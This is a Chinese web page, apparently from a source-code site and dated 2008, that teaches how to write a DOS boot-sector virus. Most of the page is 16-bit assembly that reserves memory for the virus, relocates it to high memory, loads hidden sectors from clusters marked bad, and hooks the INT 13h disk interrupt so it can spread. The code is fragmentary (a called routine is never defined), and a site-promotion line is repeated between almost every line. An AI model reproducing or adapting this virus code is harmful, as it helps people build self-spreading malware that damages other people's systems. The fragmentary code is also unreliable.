当前位置:首页 > 服务器类 > 安全防护 > > 引导型病毒编制方法(含源程序)

引导型病毒编制方法(含源程序)

点击次数:28 次 发布日期:2008-11-29 17:35:38 作者:源代码网


源代码网供稿.

源代码网推荐


源代码网推荐

引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS

操作系统之前,作完以下事情:
源代码网推荐

a. 减少dos可用最大内存量,以供己需;如:
源代码网推荐

xor ax,ax
源代码网推荐

mov ss,ax
源代码网推荐

mov sp,7c00h
源代码网推荐

mov ds,ax
源代码网推荐

mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413
源代码网推荐

sub ax,2 ; apply 2k mem for virus
源代码网推荐

mov ds:[413h],ax
源代码网推荐

b. 修改必要的中断向量,以便传播;
源代码网推荐

c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);
源代码网推荐

先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:


源代码网推荐


源代码网推荐

mov cl,06h
源代码网推荐

shl ax,cl ; ax = 8F80
源代码网推荐

add ax,0840h ; ax = 97c0
源代码网推荐

mov es,ax
源代码网推荐

mov si,7c00h ; si = 7c00
源代码网推荐

mov di,si
源代码网推荐

mov cx,0100h
源代码网推荐

repz movsw ; 将病毒移到高端.
源代码网推荐

v2: push ax
源代码网推荐

pop ds
源代码网推荐

push ax
源代码网推荐

mov bx,7c4bh
源代码网推荐

push bx
源代码网推荐

ret ; 指令执行转入高端内存
源代码网推荐

call v3
源代码网推荐

v3: xor ah,ah ; ah=0
源代码网推荐

int 13h
源代码网推荐

mov ah,80h
源代码网推荐

and byte ptr ds:[7df8h],al
源代码网推荐

v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.
源代码网推荐

push cs
源代码网推荐

pop ax ; ax=97c0
源代码网推荐

sub ax,20h ; ax=97a0
源代码网推荐

mov es,ax ; es=97a0
源代码网推荐

call v9
源代码网推荐

mov bx,word ptr ds:[7df9h] ; load logic sector id
源代码网推荐

inc bx ; bx++ , is boot sector
源代码网推荐

mov ax,0ffc0h ; ffc0:8000 = 0000:7c00 读入原引导分区内容.
源代码网推荐

mov es,ax
源代码网推荐

call v9
源代码网推荐

xor ax,ax ; AX=0
源代码网推荐

mov byte ptr ds:[7df7h],al ; flag = 0
源代码网推荐

v5: mov ds,ax ; ds=0
源代码网推荐

mov ax,word ptr ds:[4ch] ;
源代码网推荐

mov bx,word ptr ds:[4eh] ; 修改中断向量.
源代码网推荐


源代码网推荐

mov word ptr ds:[4ch],7cd6h
源代码网推荐

mov word ptr ds:[4eh],cs ; now int13h had been changed
源代码网推荐

push cs
源代码网推荐

pop ds ; ds=cs
源代码网推荐

mov word ptr ds:[7d30h],ax ; save original int13 vector
源代码网推荐

mov word ptr ds:[7d32h],bx ;
源代码网推荐

v6: mov dl,byte ptr ds:[7df8h] ; load drive letter
源代码网推荐

v7:
源代码网推荐

;=======================================================
源代码网推荐

; jmp 0000:7c00 ; here is a jump
源代码网推荐

db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.
源代码网推荐

;=======================================================
源代码网推荐

d. 读入原主引导分区,转去执行dos的引导工作。
源代码网推荐


源代码网推荐

 

源代码网整理以下

网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华